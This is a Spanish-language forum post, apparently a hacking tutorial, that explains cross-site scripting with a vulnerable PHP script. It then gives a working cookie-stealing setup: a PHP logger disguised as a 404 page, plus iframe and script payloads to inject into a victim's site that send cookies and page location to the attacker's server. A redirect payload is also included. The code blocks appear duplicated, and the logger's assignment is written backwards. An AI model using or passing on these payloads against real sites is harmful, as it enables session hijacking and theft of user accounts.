Muchos sitios web utilizan la tecnologia javascript para crear una aplicacion web dinamica.
XSS
Con el uso del lenguaje scripting del lado del servidor como el PHP,comenzaron algunos problemas, para explicarlo mejor creamos un script PHP:
Código:
<?php
$var = $_GET['mensaje'];
echo "$var";
?>
$var = $_GET['mensaje'];
echo "$var";
?>
si probamos lo siguiente:
http://127.0.0.1/xss.php?mensaje=Hola
veremos una pagina blanca con la escritura ¨Hola¨, si probamos tambien:
http://127.0.0.1/xss.php?mensaje=<b>Hola</b>
veremos la misma pagina, pero ahora con la palabra ¨Hola¨en negritas, en cambio cuando utilizamos javascript la cosa cambia:
http://127.0.0.1/xss.php?mensaje=<script>alert("Hola!")</script>
en este caso nos aparece una ventana de javascript.
Aprovechandos de las ventajas que brindan las paginas susceptibles a esta vulnerabilidad es posible ejecutar en el browser del visitante el codigo javascript que querramos.Esta tecnica se denomina ¨Cross Site Scripting¨ o mas vulgarmente por sus siglas ¨XSS¨.Veamos una aplicacion practica utilizando lo que se conoce como "Cookie Stealing" o comunmente ¨robo de cookie¨, alguien se preguntara para que sirve esto??? pues para hacernos de informacion del usuario tal como username y password de un sitio determinado, veamos...
Cookie Stealing
Para robar una cookie utilizaremos "document.cookie", "document.location" del javascript?? pues esto por si solo NO, ya que recuerden que el javascript actua en el browser del usuario, por lo tanto necesitamos guardar las cookie en algun lado, para ello utilizamos javascript con algo de PHP, veamos como seria:
a)creamos un archivo .PHP con el siguiente codigo en nuestro server:
Código:
<html>
<head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<?php
$capo = "\n";
$_GET['data'] = $data;
$fh = fopen("cookie.txt",'a+');
fwrite($fh, "$data");
fwrite($fh, "$capo");
fclose($fh);
?>
<p>The requested URL was not found on this server.</p>
</body></html>
<head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<?php
$capo = "\n";
$_GET['data'] = $data;
$fh = fopen("cookie.txt",'a+');
fwrite($fh, "$data");
fwrite($fh, "$capo");
fclose($fh);
?>
<p>The requested URL was not found on this server.</p>
</body></html>
quedaria como:
http://www.nuestrositio.com/cookie.php
b)creamos un archivo .txt en nuestro server y le damos permiso de escritura (chmod 777)
http.//www.nuestrositio.com/cookie.txt
c)introducimos lo siguiente en el sitio de nuestra victima:
Código:
<iframe width="0" height="0" frameborder="0" src="javascript:document.location='http://www.nuestrositio.com/cookie.php?data=P_'+window.parent.document.location+' C_'+ window.parent.document.cookie;"></iframe>
o
Código:
<script> window.location="http://www.nuestrositio.com/cookie.php?data="+window.parent.document.location+window.parent.document.cookie </script>
Otros Usos
Utilizando "window.location" de javascript podemos redireccionar a la victima al sitio que querramos:
Código:
<BODY onload= window.location="http://www.google.com">
o podriamos utilizar el reciente bug de IE:
Código:
<body onLoad="window()">
links de Interes:http://www.php.net -sitio oficial de PHP
http://www.owasp.org -Open Web Application Security Project, muy util
http://livehttpheaders.mozdev.org -Un plugin para firefox,que permite modificar GET y POST, particularmente util para testear webs y descubrir bugs
Salu2
Mousehack










Autor


En línea




, hablo alguillo mas, si por favor mousehack, podrias explicar mas, saludos

porque mucho codigo es 'leible')